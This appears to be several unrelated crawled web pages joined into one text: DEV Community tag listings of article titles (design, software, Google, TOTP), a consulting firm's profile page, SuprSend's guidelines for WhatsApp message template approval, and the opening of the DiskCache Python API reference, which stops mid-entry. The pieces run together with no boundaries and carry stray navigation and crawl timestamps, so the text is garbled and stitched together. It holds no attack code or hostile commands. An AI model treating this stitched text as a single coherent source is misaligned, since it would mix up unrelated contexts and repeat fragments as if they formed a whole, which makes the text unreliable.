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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Design Follow Hide More than just making things look nice... Create Post Older #design posts 5 6 7 8 9 10 11 12 13 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu EP 3.2 : Throughput Hrishikesh Dalal Hrishikesh Dalal Hrishikesh Dalal Follow Dec 28 '25 EP 3.2 : Throughput # webdev # programming # design 1 reaction Comments Add Comment 1 min read 🎮 Day 2 – Foundation for Game Designers Dinesh Dinesh Dinesh Follow Dec 28 '25 🎮 Day 2 – Foundation for Game Designers # design # gamedev # computerscience # gamechallenge Comments Add Comment 1 min read Hacia una Tipografía Web Accesible para la Dislexia: Evidencia Neurocognitiva, Guías W3C y Recomendaciones de Diseño CSS Johan Gutierrez Johan Gutierrez Johan Gutierrez Follow Nov 29 '25 Hacia una Tipografía Web Accesible para la Dislexia: Evidencia Neurocognitiva, Guías W3C y Recomendaciones de Diseño CSS # design # science # css # ui Comments Add Comment 17 min read Pixel Perfect Figma plugin for mobile developers OnePixel OnePixel OnePixel Follow Nov 24 '25 Pixel Perfect Figma plugin for mobile developers # mobile # design # tooling # ui Comments Add Comment 1 min read Multithreading Demystified: The Real Difference Between Concurrency and Parallelism Mohammed Mohammed Mohammed Follow Nov 24 '25 Multithreading Demystified: The Real Difference Between Concurrency and Parallelism # programming # architecture # design # resources Comments Add Comment 3 min read Revolutionizing Frontend Development with Design Systems Visakh Vijayan Visakh Vijayan Visakh Vijayan Follow Dec 27 '25 Revolutionizing Frontend Development with Design Systems # architecture # frontend # ui # design 1 reaction Comments Add Comment 2 min read How a Band Turns Its Website into a Working Fan Headquarters Sonia Bobrik Sonia Bobrik Sonia Bobrik Follow Nov 22 '25 How a Band Turns Its Website into a Working Fan Headquarters # ux # design # product # community Comments Add Comment 6 min read 🕹️ Game Designer or Game Developer? Don’t Decide Too Early Dinesh Dinesh Dinesh Follow Dec 27 '25 🕹️ Game Designer or Game Developer? Don’t Decide Too Early # beginners # gamedev # gamechallenge # design Comments Add Comment 1 min read If You Could Add ONE Feature to a Design Portfolio, What Would It Be? The Duchess of Hackers The Duchess of Hackers The Duchess of Hackers Follow Dec 13 '25 If You Could Add ONE Feature to a Design Portfolio, What Would It Be? # design # ux # portfolio # frontend 8 reactions Comments 2 comments 2 min read Building a Dummy Service Centre Website Taught Me More Than Any Assignment abu zafar abu zafar abu zafar Follow Dec 24 '25 Building a Dummy Service Centre Website Taught Me More Than Any Assignment # design # webdesign # newdesigner 3 reactions Comments Add Comment 2 min read Free websites for quick photo editing or resizing Ankit Bhardwaj Ankit Bhardwaj Ankit Bhardwaj Follow Nov 22 '25 Free websites for quick photo editing or resizing # programming # photoshop # design # productivity Comments Add Comment 1 min read Typography Fonts: The Silent Language of Design Vraj Parikh Vraj Parikh Vraj Parikh Follow Dec 25 '25 Typography Fonts: The Silent Language of Design # ux # beginners # productivity # design 1 reaction Comments Add Comment 6 min read Implementing Chaos-Proof Custom Typography in Compose Aleksei Laptev Aleksei Laptev Aleksei Laptev Follow Nov 25 '25 Implementing Chaos-Proof Custom Typography in Compose # android # design # androiddev # beginners 1 reaction Comments Add Comment 3 min read Improve Your UI with These 3 Simple Changes Shashwat Pritish Shashwat Pritish Shashwat Pritish Follow Nov 21 '25 Improve Your UI with These 3 Simple Changes # frontend # webdev # ui # design Comments Add Comment 2 min read How Figma Make is Closing the 'Idea-to-Proof' Gap CodeLink CodeLink CodeLink Follow Nov 21 '25 How Figma Make is Closing the 'Idea-to-Proof' Gap # vibecoding # ai # design # lowcode Comments Add Comment 4 min read What is Mobile-First Design? (A Guide for Businesses) Oliver Revelo Oliver Revelo Oliver Revelo Follow Nov 21 '25 What is Mobile-First Design? (A Guide for Businesses) # webdev # css # devops # design Comments Add Comment 4 min read Difference Between conditions and loops? Arul .A Arul .A Arul .A Follow Nov 21 '25 Difference Between conditions and loops? # programming # javascript # beginners # design Comments Add Comment 1 min read Dark vs Bright Website Design: The Real Difference (and How to Choose the Right One) Per Starke Per Starke Per Starke Follow Dec 24 '25 Dark vs Bright Website Design: The Real Difference (and How to Choose the Right One) # webdev # design # themes # seo 7 reactions Comments 4 comments 6 min read Engineering Trust: Understanding Systems Beyond Repairs Repair shop abbasi Repair shop abbasi Repair shop abbasi Follow Nov 20 '25 Engineering Trust: Understanding Systems Beyond Repairs # discuss # design # software Comments Add Comment 1 min read Turning a DivePhotoGuide Profile into a Real Underwater Portfolio Sonia Bobrik Sonia Bobrik Sonia Bobrik Follow Nov 20 '25 Turning a DivePhotoGuide Profile into a Real Underwater Portfolio # design # photography # showcase Comments Add Comment 6 min read Strategy Pattern Carlos A. Martinez Carlos A. Martinez Carlos A. Martinez Follow Nov 20 '25 Strategy Pattern # algorithms # architecture # design Comments Add Comment 1 min read How Do Surveillance Systems Affect Identity in South Asia? Jessica le Jessica le Jessica le Follow Dec 23 '25 How Do Surveillance Systems Affect Identity in South Asia? # discuss # design # security Comments Add Comment 3 min read Atomic Design para UI Lucas Pereira de Souza Lucas Pereira de Souza Lucas Pereira de Souza Follow Nov 20 '25 Atomic Design para UI # systemdesign # frontend # ui # design Comments Add Comment 2 min read How to turn your handwriting into a font in 60 seconds (Open Source) Aman Jaswal Aman Jaswal Aman Jaswal Follow Dec 23 '25 How to turn your handwriting into a font in 60 seconds (Open Source) # typography # frontend # design 1 reaction Comments 2 comments 2 min read Why Angular ARIA in v21 is pretty neat Alexander Thalhammer Alexander Thalhammer Alexander Thalhammer Follow Dec 1 '25 Why Angular ARIA in v21 is pretty neat # a11y # angular # design 4 reactions Comments Add Comment 3 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # software Follow Hide All things related to software development and engineering. Create Post Older #software posts 8 9 10 11 12 13 14 15 16 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Dejar Blogger para iniciar una nueva etapa en Dev.to Afu Tse (Chainiz) Afu Tse (Chainiz) Afu Tse (Chainiz) Follow Nov 17 '25 Dejar Blogger para iniciar una nueva etapa en Dev.to # software # developers # community 1 reaction Comments 1 comment 2 min read 🧠 Detecting and Preventing Goroutine Leaks in Production (Leak Detection in Go) Serif COLAKEL Serif COLAKEL Serif COLAKEL Follow Nov 16 '25 🧠 Detecting and Preventing Goroutine Leaks in Production (Leak Detection in Go) # go # productivity # software # backend 1 reaction Comments Add Comment 3 min read The Lost Art of Code Quality: Why Modern Engineers Ship Fast but Think Less Ahmad Saka Ahmad Saka Ahmad Saka Follow Nov 5 '25 The Lost Art of Code Quality: Why Modern Engineers Ship Fast but Think Less # discuss # softwareengineering # software # architecture 8 reactions Comments Add Comment 2 min read FIX Protocol System-Level Implementation: Session Management Deep Dive Mark Andreev Mark Andreev Mark Andreev Follow Oct 13 '25 FIX Protocol System-Level Implementation: Session Management Deep Dive # software Comments Add Comment 12 min read Architecting at Scale: The CQRS-Powered Domain Core with React. Ahmad Saka Ahmad Saka Ahmad Saka Follow Nov 3 '25 Architecting at Scale: The CQRS-Powered Domain Core with React. # architecture # cleancode # software # react 10 reactions Comments Add Comment 3 min read What is MongoDB? Why use it? JaylinJones0 JaylinJones0 JaylinJones0 Follow Nov 16 '25 What is MongoDB? Why use it? # mongodb # nosql # software # student 1 reaction Comments Add Comment 4 min read The Car That Would Not Stop Cfir Aguston Cfir Aguston Cfir Aguston Follow Oct 12 '25 The Car That Would Not Stop # programming # techhistory # automotive # software Comments 1 comment 1 min read TypeScript: Our Beloved, Overbearing Safety Net Ahmad Saka Ahmad Saka Ahmad Saka Follow Nov 3 '25 TypeScript: Our Beloved, Overbearing Safety Net # javascript # architecture # software # react 10 reactions Comments Add Comment 3 min read Sonic-PI grzegorzgrzegorz grzegorzgrzegorz grzegorzgrzegorz Follow Nov 14 '25 Sonic-PI # software # music Comments Add Comment 2 min read Beyond Autocomplete: A practical guide to AI-Assisted Development Jack Marchant Jack Marchant Jack Marchant Follow Oct 8 '25 Beyond Autocomplete: A practical guide to AI-Assisted Development # ai # software # development Comments Add Comment 4 min read Mastering the C# Dispose Pattern Ivan Kahl Ivan Kahl Ivan Kahl Follow Oct 13 '25 Mastering the C# Dispose Pattern # csharp # dotnet # programming # software Comments Add Comment 9 min read From Impostor Syndrome to Mentorship: How “WHAT” Shaped My Growth as an Engineer Jack Jiang Jack Jiang Jack Jiang Follow Oct 21 '25 From Impostor Syndrome to Mentorship: How “WHAT” Shaped My Growth as an Engineer # mentorship # software # programming 4 reactions Comments Add Comment 3 min read How Do I Prepare for the iSAQB CPSA-F Exam? tecnovy tecnovy tecnovy Follow Nov 13 '25 How Do I Prepare for the iSAQB CPSA-F Exam? # software # certification # career # architecture 6 reactions Comments Add Comment 4 min read Vibe Coding ++ Peter Aleksander Bizjak Peter Aleksander Bizjak Peter Aleksander Bizjak Follow Nov 10 '25 Vibe Coding ++ # vibecoding # ai # software Comments 2 comments 4 min read I've Built 3 Products with 0 Sales - Help Me Build Something People Actually Want Aethel Software Aethel Software Aethel Software Follow Oct 9 '25 I've Built 3 Products with 0 Sales - Help Me Build Something People Actually Want # webdev # saas # programming # software Comments Add Comment 1 min read Visit Rwanda — A Beautiful Travel Companion App Built with React Native John Revis John Revis John Revis Follow Oct 19 '25 Visit Rwanda — A Beautiful Travel Companion App Built with React Native # showdev # reactnative # software # android 6 reactions Comments Add Comment 2 min read The Act of Building Apps Smith Smith Smith Follow Nov 10 '25 The Act of Building Apps # mobile # devrel # inspiration # software 1 reaction Comments Add Comment 2 min read Beyond Limits: Unleashing PIM Potential with Intelligent Power Management Arvind SundaraRajan Arvind SundaraRajan Arvind SundaraRajan Follow Nov 9 '25 Beyond Limits: Unleashing PIM Potential with Intelligent Power Management # hardware # software # architecture # performance Comments Add Comment 2 min read Statement Coverage Is Not Enough Cfir Aguston Cfir Aguston Cfir Aguston Follow Oct 10 '25 Statement Coverage Is Not Enough # testing # programming # softwareengineering # software Comments Add Comment 2 min read Creating Java Streams Priyank Bhardwaj Priyank Bhardwaj Priyank Bhardwaj Follow Nov 8 '25 Creating Java Streams # java # streams # software # tutorial 1 reaction Comments Add Comment 3 min read The Secret Life of Python: The Integer Cache - Why Small Numbers Share Identity Aaron Rose Aaron Rose Aaron Rose Follow Nov 5 '25 The Secret Life of Python: The Integer Cache - Why Small Numbers Share Identity # python # coding # programming # software 3 reactions Comments 1 comment 14 min read Java 8 Streams Simplified Priyank Bhardwaj Priyank Bhardwaj Priyank Bhardwaj Follow Oct 4 '25 Java 8 Streams Simplified # java # streams # software # tutorial Comments Add Comment 2 min read TAURI vs. Electron (WTH???) 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close Follow User actions DECISION INTELLIGENT We empower organizations across industries to harness the power of artificial intelligence and make informed, data-backed decisions that drive success. Location Dubai, United Arab Emirates Joined Joined on Nov 18, 2025 Personal website https://www.decisionintelligent.com/ More info about @decision_intelligent Post 6 posts published Comment 0 comments written Tag 0 tags followed How Odoo ERP Simplifies VAT Filing for UAE Businesses | Decision Intelligent DECISION INTELLIGENT DECISION INTELLIGENT DECISION INTELLIGENT Follow Jan 5 How Odoo ERP Simplifies VAT Filing for UAE Businesses | Decision Intelligent # ai # decisionintelligent # odoo # erp Comments Add Comment 4 min read UAE VAT & Corporate Tax Compliance with Odoo ERP | Decision Intelligent DECISION INTELLIGENT DECISION INTELLIGENT DECISION INTELLIGENT Follow Dec 26 '25 UAE VAT & Corporate Tax Compliance with Odoo ERP | Decision Intelligent # ai # decisionintelligent # odooerp # uaetax Comments Add Comment 3 min read Cloud vs On-Prem ERP: What Decision Intelligent Recommends for SMEs DECISION INTELLIGENT DECISION INTELLIGENT DECISION INTELLIGENT Follow Dec 22 '25 Cloud vs On-Prem ERP: What Decision Intelligent Recommends for SMEs # decisionintelligent # odooerp # ai # sme Comments Add Comment 3 min read Odoo for Real Estate: How Decision Intelligent Helps Agencies Automate Operations DECISION INTELLIGENT DECISION INTELLIGENT DECISION INTELLIGENT Follow Dec 4 '25 Odoo for Real Estate: How Decision Intelligent Helps Agencies Automate Operations # decisionintelligent # ai # odoo # realestate Comments Add Comment 3 min read What Makes Decision Intelligent Different? A Deep Dive into Our Approach to Odoo Implementations DECISION INTELLIGENT DECISION INTELLIGENT DECISION INTELLIGENT Follow Nov 26 '25 What Makes Decision Intelligent Different? A Deep Dive into Our Approach to Odoo Implementations # decisionintelligent # ai # odooerp # erp Comments Add Comment 3 min read How "Decision Intelligent" Is Transforming ERP Adoption in the UAE DECISION INTELLIGENT DECISION INTELLIGENT DECISION INTELLIGENT Follow Nov 19 '25 How "Decision Intelligent" Is Transforming ERP Adoption in the UAE # decisionintelligent # odoo # ai # erp Comments Add Comment 4 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # google Follow Hide Create Post Older #google posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Give Your AI Agents Deep Understanding — Coding the Multi-Agent ADK Solution Darren "Dazbo" Lester Darren "Dazbo" Lester Darren "Dazbo" Lester Follow for Google Developer Experts Jan 12 Give Your AI Agents Deep Understanding — Coding the Multi-Agent ADK Solution # googlecloudplatform # google # multiagentsystems # gemini 4 reactions Comments Add Comment 36 min read It's Time to Learn about Google TPUs in 2026 Nikita Dmitriev Nikita Dmitriev Nikita Dmitriev Follow Jan 12 It's Time to Learn about Google TPUs in 2026 # google # tpu # programming # ai Comments Add Comment 5 min read When the GUI Disappears: Google UCP and the Shift to Protocol-First Commerce AaronWuBuilds AaronWuBuilds AaronWuBuilds Follow Jan 12 When the GUI Disappears: Google UCP and the Shift to Protocol-First Commerce # google # backend # systemdesign # commerce Comments Add Comment 5 min read Who is Krishna Mohan Kumar? | Full Stack Developer & B.Tech CSE Student Krishna Mohan Kumar Krishna Mohan Kumar Krishna Mohan Kumar Follow Jan 12 Who is Krishna Mohan Kumar? | Full Stack Developer & B.Tech CSE Student # webdev # beginners # portfolio # google Comments Add Comment 1 min read Cloud Run vs App Engine Isn’t a Debate — It’s a Design Decision savitha nuguri savitha nuguri savitha nuguri Follow Jan 11 Cloud Run vs App Engine Isn’t a Debate — It’s a Design Decision # architecture # devops # google Comments Add Comment 4 min read Gemini: Summarize Search Results Based on Your Keywords Evan Lin Evan Lin Evan Lin Follow Jan 11 Gemini: Summarize Search Results Based on Your Keywords # gemini # google # rag # llm Comments Add Comment 4 min read [Google Colab][Python] How to Upgrade Python 3.9 to 3.11 Evan Lin Evan Lin Evan Lin Follow Jan 11 [Google Colab][Python] How to Upgrade Python 3.9 to 3.11 # google # python # tutorial Comments Add Comment 2 min read Today I Learned: Google I/O 2023 Developer Keynote Summary Evan Lin Evan Lin Evan Lin Follow Jan 11 Today I Learned: Google I/O 2023 Developer Keynote Summary # news # google # programming # ai Comments Add Comment 2 min read Udacity: Gemini API by Google Course Review Evan Lin Evan Lin Evan Lin Follow Jan 11 Udacity: Gemini API by Google Course Review # gemini # google # api # ai Comments Add Comment 3 min read Google I/O Developer Keynote Summary Evan Lin Evan Lin Evan Lin Follow Jan 11 Google I/O Developer Keynote Summary # gemini # google # api # ai Comments Add Comment 2 min read Google Gemma 2 Bootcamp Resources Released Evan Lin Evan Lin Evan Lin Follow Jan 11 Google Gemma 2 Bootcamp Resources Released # google # resources # llm # ai Comments Add Comment 2 min read Google Gemma2/PaliGemma: Notes on Learning and Applications Evan Lin Evan Lin Evan Lin Follow Jan 11 Google Gemma2/PaliGemma: Notes on Learning and Applications # ai # google # llm Comments Add Comment 3 min read Notes: Quick Thoughts on the Google Gemini API Hackathon Awards Evan Lin Evan Lin Evan Lin Follow Jan 11 Notes: Quick Thoughts on the Google Gemini API Hackathon Awards # gemini # google # devchallenge # ai Comments Add Comment 2 min read VS Code Plugin for Colab Released by Google Evan Lin Evan Lin Evan Lin Follow Jan 11 VS Code Plugin for Colab Released by Google # news # google # machinelearning # vscode Comments Add Comment 3 min read Notes from the Made by Google Conference Evan Lin Evan Lin Evan Lin Follow Jan 11 Notes from the Made by Google Conference # news # google # rag # android Comments Add Comment 2 min read A2UI Protocol: Building Intelligent Agent-to-User Interfaces vishalmysore vishalmysore vishalmysore Follow Jan 10 A2UI Protocol: Building Intelligent Agent-to-User Interfaces # google # ai # agents # ui Comments Add Comment 6 min read How I Bypassed Google's Broken Python SDK to Build an AI Pipeline in Docker Shashank Chakraborty Shashank Chakraborty Shashank Chakraborty Follow Jan 9 How I Bypassed Google's Broken Python SDK to Build an AI Pipeline in Docker # ai # docker # google # python Comments 1 comment 3 min read [AI Agent] TPU-Based AI Agent Development: Integrating the Twinkle AI Open Source Model (gemma-3–4B-T1-it) with Google ADK Tools Yu-Wei Simon Liu (Simon Liu) Yu-Wei Simon Liu (Simon Liu) Yu-Wei Simon Liu (Simon Liu) Follow for Google Developer Experts Jan 12 [AI Agent] TPU-Based AI Agent Development: Integrating the Twinkle AI Open Source Model (gemma-3–4B-T1-it) with Google ADK Tools # gemma # agents # tpu # google 12 reactions Comments Add Comment 8 min read Google's LEGO tribute 🧩 Jigyasa Grover Jigyasa Grover Jigyasa Grover Follow for Google Developer Experts Jan 9 Google's LEGO tribute 🧩 # computerscience # dataengineering # google # systemdesign 24 reactions Comments 8 comments 1 min read How Much Do FAANG Engineers Make? Complete 2026 Salary Guide Alex Hunter Alex Hunter Alex Hunter Follow Jan 8 How Much Do FAANG Engineers Make? Complete 2026 Salary Guide # faang # salary # compensation # google 1 reaction Comments Add Comment 4 min read Developer Spotlight: Suraj Iyer - Apps Script Product Manager Justin Poehnelt Justin Poehnelt Justin Poehnelt Follow for Google Workspace Developers Jan 6 Developer Spotlight: Suraj Iyer - Apps Script Product Manager # appsscript # developerspotlight # googleworkspace # google Comments Add Comment 1 min read 🍌 Google's "Nano Banana" Leak: The Fastest Image AI We've Ever Seen? Siddhesh Surve Siddhesh Surve Siddhesh Surve Follow Jan 6 🍌 Google's "Nano Banana" Leak: The Fastest Image AI We've Ever Seen? # ai # google # webdev # programming Comments Add Comment 3 min read From Word Engineer to Entity Architect: The True Story of How Google Changed and How I Evolved With It fayzak izzik fayzak izzik fayzak izzik Follow Jan 4 From Word Engineer to Entity Architect: The True Story of How Google Changed and How I Evolved With It # seo # google # wordpress # webdev 1 reaction Comments Add Comment 4 min read Elevate Your Cloud Game: Mastering Monitoring & Logging with CloudWatch and Stackdriver Visakh Vijayan Visakh Vijayan Visakh Vijayan Follow Jan 2 Elevate Your Cloud Game: Mastering Monitoring & Logging with CloudWatch and Stackdriver # google # monitoring # devops # aws Comments Add Comment 3 min read Google Cloud Platform (GCP) in 2026: The Ultimate Guide to AI-First Cloud Computing Tech Croc Tech Croc Tech Croc Follow Jan 1 Google Cloud Platform (GCP) in 2026: The Ultimate Guide to AI-First Cloud Computing # cloud # google # googlecloud # programming 5 reactions Comments Add Comment 4 min read loading... trending guides/resources 15 Essential Google Antigravity Tips and Tricks: Complete Guide in 2025 How to Update Gemini CLI to the Latest Version Gemini CLI Best Practices: 10 Pro Tips You're Not Using Weightless Code: My 7-Day Experiment with Google Antigravity SynthID Explained: A Technical Deep Dive into DeepMind’s Invisible Watermarking System Nested Learning — My Reflections on a Model That Learns How to Learn AI 2026: Google’s Roadmap & Strategy One Prompt, One App: Hands-On with Google Antigravity Antigravity IDE: the next generation of AI-powered code editors AWS IAM Outbound OIDC with Google Cloud Identity Pool Google Antigravity: The Agent-First IDE That Changes Everything Tutorial: Building a Podcast Knowledge Base with the Gemini File Search Tool NEW Google Antigravity IDE Tutorial What Is Google Antigravity? Complete Guide, Features, Limits & Real Examples Get started with Google Workspace Flows Google's Aluminium OS Google Antigravity : l'ère des IDE Agentiques Custom auth in Payload Opal: Google’s No-Code AI App Builder Is Now Global Google Antigravity: An Overview, Architecture, and Core Differentiators 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account | 2026-01-13T08:49:27 |
https://docs.suprsend.com/docs/whatsapp-template-guidelines | Whatsapp Template Guidelines - SuprSend, Notification infrastructure for Product teams Skip to main content SuprSend, Notification infrastructure for Product teams home page Search... ⌘ K Community Trust Center Platform Status Postman Collection GETTING STARTED What is SuprSend? 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Navigation CORE CONCEPTS Whatsapp Template Guidelines Documentation API Reference Management API CLI Reference Developer Resources Changelog Documentation API Reference Management API CLI Reference Developer Resources Changelog CORE CONCEPTS Whatsapp Template Guidelines OpenAI Open in ChatGPT Guidelines and allowed content for whatsapp template approval. OpenAI Open in ChatGPT Message templates are specific message formats that businesses use to send out notifications or customer care messages to people that have opted in to notifications. Messages can include appointment reminders, delivery information, issue resolution and payment updates. Template guidelines Please consider the following guidelines to accelerate the template approval process: Make your message template name clear. Instead of using a name like “template_014” use “bus_ticket_details” Remember that someone outside of your business will be reviewing your templates. Providing more clarity gives reviewers context around how the template will be used. Think about how your template sounds when read out loud. It should not sound promotional and avoid use of marketing language use of exclamation marks etc. Review your templates once before submitting. Make sure there are no spelling or grammatical errors and variables are added in the correct format (two curly brackets on either side) and that no variables are repeated. If you need to write a message template to re-open the 24-hour window, we would suggest starting with some mention of the previous conversation thread. e.g. “I’m sorry that I wasn’t able to respond to your concerns yesterday but I’m happy to assist you now. If you’d like to continue this discussion, please reply with ‘yes’.” or “I was able to do some follow-up based on our previous conversation, and I’ve found the answer to your question about our refund policy. If you’d like to continue our conversation, please say ‘yes’.” Template rejections You cannot use WhatsApp as a channel to attempt to get users to re-engage with your product and/or resurrect churned users. If one or more of your templates have been rejected, it may have been for one of the following reasons: Advertising, marketing, or promotional messages are not permitted. Some examples of this include the following: Offering coupon codes and/or free gifts. Sales, discounts, promotions, product recommendations, offers including recurring content (e.g: timely information, a newsletter, any sort of subscription, a catalog ) Upselling or Cross-selling e.g. “ Here is your boarding pass, with seat assignment and gate information. If you would like to save 10% on your in-flight dinner, order your meal through our app. ” Re-engagement: e.g. “your friend commented on your photo”, “your friend shared a new playlist” “top tweets from people you follow” App downloads: e.g. “ Download our mobile app to pay bills/recharges ”, etc. User takes action with a business that results in a notification for another user e.g. Company X: A buys a gift card for B, Company X notifies B , Company X can’t send a notification asking a user to share a promotion to a group in order for everyone to receive that promotion Reminders or alerts that a user may have indicated interest in seeing e.g. Price drops, back in stock, points expiration - frequent reminders for a variety of things with the primary purpose of sending promotions / sale alerts / etc. Cold call messages e.g. “ Is now a good time to talk? ”, “ Thank you for your interest, can we speak now?”, “I tried contacting you but you weren’t available. When are you free? ”, etc. Sending a survey or poll to collect data e.g. “ Hi, we’re interested in knowing how you feel about certain food groups. Do you mind participating in a survey? ” Inclusion of certain words or phrases that make the message template promotional (even though the content of your template may be fine) WhatsApp does not approve message templates with floating parameters (,that is lines with just parameters and no text). In the below example, we’re referring to {{3}} and {{4}} as the floating parameters. Javascript Copy Ask AI --- TICKET NO : {{ 1 }} PASSENGER NAME : * {{ 2 }} * --- {{ 3 }} - {{ 4 }} Incorrect formatting Some examples of this include the following: Message templates with spelling mistakes will be rejected. Make sure to use parameters like {{1}} , {{2}} , etc. and include the correct number of curly brackets (,that is 2 on the left side of the number and 2 on the right side of the number) Template containing potentially abusive or threatening content Some examples of this include the following: Message templates that threaten customers with a legal course of action will be rejected. Message templates that threaten to add customers to a WhatsApp group with their friends and family to shame them if they don’t pay back their loans will be rejected. Was this page helpful? Yes No Suggest edits Raise issue Previous Design Workflow Learn how to design, edit or publish workflow on SuprSend dashboard. Next ⌘ I x github linkedin youtube Powered by On this page Template guidelines Template rejections Incorrect formatting Template containing potentially abusive or threatening content | 2026-01-13T08:49:27 |
https://forem.com/t/totp | Totp - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # totp Follow Hide Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Understanding TOTP: What Really Happens When You Generate That 6-Digit Code Yusuf Adeyemo Yusuf Adeyemo Yusuf Adeyemo Follow Dec 8 '25 Understanding TOTP: What Really Happens When You Generate That 6-Digit Code # totp # authentication # google # howitworks 6 reactions Comments 2 comments 5 min read TOTP Authenticator: A Lightweight PHP Library for Secure Two-Factor Authentication Hossein Hezami Hossein Hezami Hossein Hezami Follow Sep 5 '25 TOTP Authenticator: A Lightweight PHP Library for Secure Two-Factor Authentication # php # totp # authentication # 2fa 1 reaction Comments Add Comment 2 min read 🚀 otp package (high performance TOTP and HOTP generator) Javad Rajabzadeh Javad Rajabzadeh Javad Rajabzadeh Follow for Gopher Apr 3 '25 🚀 otp package (high performance TOTP and HOTP generator) # go # javascript # otp # totp 1 reaction Comments Add Comment 2 min read Time-based one-time passwords (TOTP) with OpenLDAP Ashkan Ashkan Ashkan Follow Oct 5 '23 Time-based one-time passwords (TOTP) with OpenLDAP # totp # ldap # 2fa # openldap 1 reaction Comments 1 comment 5 min read Decode TOTP(Time-based One-time Password) QR Code iainrough iainrough iainrough Follow May 11 '21 Decode TOTP(Time-based One-time Password) QR Code # totp # security # qrcode 6 reactions Comments 1 comment 2 min read Creating & testing a TOTP plugin (commonly used for 2-Factor Authentication) for express: Creating the package Toby Hinloopen Toby Hinloopen Toby Hinloopen Follow for Charper Bonaroo Jan 24 '20 Creating & testing a TOTP plugin (commonly used for 2-Factor Authentication) for express: Creating the package # totp # 2fa # expressjs # npm 9 reactions Comments Add Comment 28 min read Get 2FA Codes From The Terminal Thom Thom Thom Follow Jan 21 '20 Get 2FA Codes From The Terminal # 2fa # totp # security # github 8 reactions Comments 1 comment 3 min read loading... trending guides/resources Understanding TOTP: What Really Happens When You Generate That 6-Digit Code 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account | 2026-01-13T08:49:27 |
https://grantjenks.com/docs/diskcache/api.html#jsondisk | DiskCache API Reference — DiskCache 5.6.1 documentation DiskCache API Reference ¶ The DiskCache Tutorial provides a helpful walkthrough of most methods. DiskCache API Reference Cache FanoutCache DjangoCache Deque Index Recipes Constants Disk JSONDisk Timeout Cache ¶ Read the Cache tutorial for example usage. class diskcache. Cache ( directory=None , timeout=60 , disk=<class 'diskcache.core.Disk'> , **settings ) ¶ Disk and file backed cache. __contains__ ( key ) ¶ Return True if key matching item is found in cache. Parameters : key – key matching item Returns : True if key matching item __delitem__ ( key , retry = True ) ¶ Delete corresponding item for key from cache. Raises Timeout error when database timeout occurs and retry is False (default True ). Parameters : key – key matching item retry ( bool ) – retry if database timeout occurs (default True) Raises : KeyError – if key is not found Timeout – if database timeout occurs __getitem__ ( key ) ¶ Return corresponding value for key from cache. Parameters : key – key matching item Returns : corresponding value Raises : KeyError – if key is not found __getstate__ ( ) ¶ Helper for pickle. __init__ ( directory=None , timeout=60 , disk=<class 'diskcache.core.Disk'> , **settings ) ¶ Initialize cache instance. Parameters : directory ( str ) – cache directory timeout ( float ) – SQLite connection timeout disk – Disk type or subclass 